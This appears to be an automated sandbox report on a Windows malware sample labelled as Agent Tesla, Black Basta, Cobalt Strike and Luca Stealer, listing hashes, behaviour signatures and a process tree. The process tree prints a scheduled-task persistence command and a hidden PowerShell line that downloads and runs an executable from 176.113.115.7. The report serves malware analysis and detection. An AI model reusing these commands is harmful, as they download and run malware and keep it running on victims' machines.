Analysis
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max time kernel
31s -
max time network
35s -
platform
windows10-ltsc_2021_x64 -
resource
win10ltsc2021-20250314-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20250314-enlocale:en-usos:windows10-ltsc_2021-x64system -
submitted
29/03/2025, 12:48
Static task
static1
General
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Target
2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
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Size
938KB
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MD5
5ec95a42b16d80c72d17cc6d0bac58de
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SHA1
9cfd9221606e1acfef1ea5f6f4bf88080822d5db
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SHA256
f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b
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SHA512
ca64237e9b54295b3162e26808d6c9acbef0640a996534425e21898b456e5117142bfe4d30473d2573ef42d08f0a85475d1cab63153e7b1b573011f67f735f0b
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SSDEEP
24576:dqDEvCTbMWu7rQYlBQcBiT6rprG8a0Xu:dTvC/MTQYxsWR7a0X
Malware Config
Extracted
http://176.113.115.7/mine/random.exe
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 2 5136 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5136 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-73851796-4078923053-1419757224-1000\Control Panel\International\Geo\Nation mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3916 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 5136 powershell.exe 5136 powershell.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 5136 powershell.exe Token: SeDebugPrivilege 4072 taskmgr.exe Token: SeSystemProfilePrivilege 4072 taskmgr.exe Token: SeCreateGlobalPrivilege 4072 taskmgr.exe Token: 33 4072 taskmgr.exe Token: SeIncBasePriorityPrivilege 4072 taskmgr.exe -
Suspicious use of FindShellTrayWindow 38 IoCs
pid Process 976 2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe 976 2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe 976 2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe -
Suspicious use of SendNotifyMessage 37 IoCs
pid Process 976 2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe 976 2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe 976 2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe 4072 taskmgr.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 976 wrote to memory of 556 976 2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe 82 PID 976 wrote to memory of 556 976 2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe 82 PID 976 wrote to memory of 556 976 2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe 82 PID 976 wrote to memory of 3324 976 2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe 83 PID 976 wrote to memory of 3324 976 2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe 83 PID 976 wrote to memory of 3324 976 2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe 83 PID 556 wrote to memory of 3916 556 cmd.exe 85 PID 556 wrote to memory of 3916 556 cmd.exe 85 PID 556 wrote to memory of 3916 556 cmd.exe 85 PID 3324 wrote to memory of 5136 3324 mshta.exe 86 PID 3324 wrote to memory of 5136 3324 mshta.exe 86 PID 3324 wrote to memory of 5136 3324 mshta.exe 86
Processes
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C:\Users\Admin\AppData\Local\Temp\2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"C:\Users\Admin\AppData\Local\Temp\2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:976 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn lLLMZmaCxQY /tr "mshta C:\Users\Admin\AppData\Local\Temp\MMIsvBXfW.hta" /sc minute /mo 25 /ru "Admin" /f2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:556 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn lLLMZmaCxQY /tr "mshta C:\Users\Admin\AppData\Local\Temp\MMIsvBXfW.hta" /sc minute /mo 25 /ru "Admin" /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:3916
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C:\Windows\SysWOW64\mshta.exemshta C:\Users\Admin\AppData\Local\Temp\MMIsvBXfW.hta2⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3324 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'0XTWCUPQGFVENWZXK3AOM3VSNBVCXNG5.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5136
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4072
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:3468
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
717B
MD5545de3d2387b10de27d158e5e63acf80
SHA1c34778c7d9779fdd7ab2369ad0cb0e0f86cec45c
SHA2562643401b12d6a4ffd9cdb25ddbc334a13cc1764b86116bbc923ad2b689ff6b1c
SHA512c581caf69573ae1c71d5752bd82b0011f01641abb7c9ce21ad36934b537d22e63d0fb1a2f119137137a82aa84fb230b592cdc5bf1f186368252d3ec20709009c
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82